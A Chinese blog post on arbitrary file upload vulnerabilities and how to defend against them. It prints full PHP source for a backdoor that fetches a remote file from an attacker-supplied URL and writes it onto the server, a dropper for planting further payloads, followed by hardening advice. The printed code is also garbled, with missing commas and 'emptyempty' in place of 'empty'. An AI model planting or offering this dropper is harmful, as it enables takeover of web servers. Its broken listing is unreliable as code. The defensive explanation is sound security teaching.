浅谈webshell中任意文件上传漏洞及防护

任意文件上传漏洞与防护

网络安全不容小觑,只可惜现在很多公司甚至不乏一些网络公司对安全问题的重视程度都不是很够。包括之前在郑州一些网络外包公司工作时,几乎没有一个公司为服务器部署相关防护措施。个中原因咱们不去深究,只是说目前互联网安全的缺口很大。

今天我们谈的任意文件上传漏洞属于代码层级的,漏洞的出现主要是技术开发人员有意或无意留下的。我们目前系统开发都少不了文件上传功能,文件上传可能是用户头像修改,身份证实名认证,相册管理、动态发布......

任意文件上传漏洞的利用主要有两种方式直接执行或间接执行。直接执行的意思就是比如我作为用户在上传文件的时候可以直接将写好的脚本文件,如jsp,asp,php等文件直接上传,然后通过浏览器访问这些文件达到进一步攻击的目的,或者获取服务器信息,或者安装后门程序。而间接执行则相对直接执行会复杂很多,比如前端或后端技术对上传文件类型做了判断,那么攻击者首先需要上传后台程序允许的文件类型如jpg,然后再通过其他方式将上传的jpg改成可执行的脚本。今年年初thinkphp爆出的getshell漏洞其原理就于间接执行的方式类似。

下面给大家也分享一个他们经常用的后门程序,源码如下(仅供学习参考,波波还是那句话,懂技术别作恶,这是一个程序员的基本修养):

  1. <?php
  2. set_time_limit(0);
  3. if(isset($_GET['url']) && isset($_GET['filename'])){
  4.     if(httpcopy($_GET['url'], $_GET['filename'])){
  5.         echo("Done.");
  6.     }else{
  7.         echo("Down Error.");
  8.     }
  9. }else{
  10.     die('Input error.');
  11. }
  12. function httpcopy($url$file=""$timeout=60) {
  13.     $file = emptyempty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;
  14.     $dir = pathinfo($file,PATHINFO_DIRNAME);
  15.     !is_dir($dir) && @mkdir($dir,0755,true);
  16.     $url = str_replace(" ","%20",$url);
  17.     if(function_exists('curl_init')) {
  18.         echo "curl ";
  19.         $ch = curl_init();
  20.         curl_setopt($ch, CURLOPT_URL, $url);
  21.         curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
  22.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  23.         $temp = curl_exec($ch);
  24.         if(@file_put_contents($file$temp) && !curl_error($ch)) {
  25.             return $file;
  26.         } else {
  27.             return false;
  28.         }
  29.     } else {
  30.         echo "copy ";
  31.         $opts = array(
  32.             "http"=>array(
  33.             "method"=>"GET",
  34.             "header"=>"",
  35.             "timeout"=>$timeout)
  36.         );
  37.         $context = stream_context_create($opts);
  38.         if(@copy($url$file$context)) {
  39.             //$http_response_header
  40.             return $file;
  41.         } else {
  42.             return false;
  43.         }
  44.     }
  45. }
  46. ?>

那么知道了任意文件上传漏洞出现的原理,防护起来也很简单。

1、在系统开发时做好文件上传的规划,将系统上传文件的功能全部统一到一个入口上,方便后期对文件上传进行管理。

2、对上传的文件做好文件名、文件类型检测。如果有条件的话最好检测下文件内容。检测方法可以参考https://jingyan.baidu.com/article/f3ad7d0fe1660f09c3345bd0.html有条件的话还可以通过opencv做进一步判断,记得如果一张图片是用代码编辑的,那么这张图片必然是损坏的文件。

3、对上传文件存储的目录取消执行权限。(这条是最重要的)仅保留公共读权限,web用户组读写权限即可。

4、禁止执行脚本的敏感函数。因为拿到后门之后接下来可能会涉及进一步的攻击,比如现在很多服务器安装的php环境,一定要禁止PHP的敏感函数,防止提权。

防护方法其实很简单,毕竟苍蝇不叮无缝的蛋。把相关的漏洞补上,做好服务器自身的安全加固基本上就可以防止一些简单的黑客攻击了。

 

 

波波
你想把广告放到这里吗?

发表评论

您必须 登录 才能发表留言!

目前评论:1   其中:访客  0   博主  1

  1. avatar 波波

    关于任意文件上传的漏洞除了文中说明的几处外,还多发生在过旧的开源CMS,百度ueditor,以及jQuery-file-upload组件、flash插件中。所以如果使用的是旧版的建议大家更新到最新版。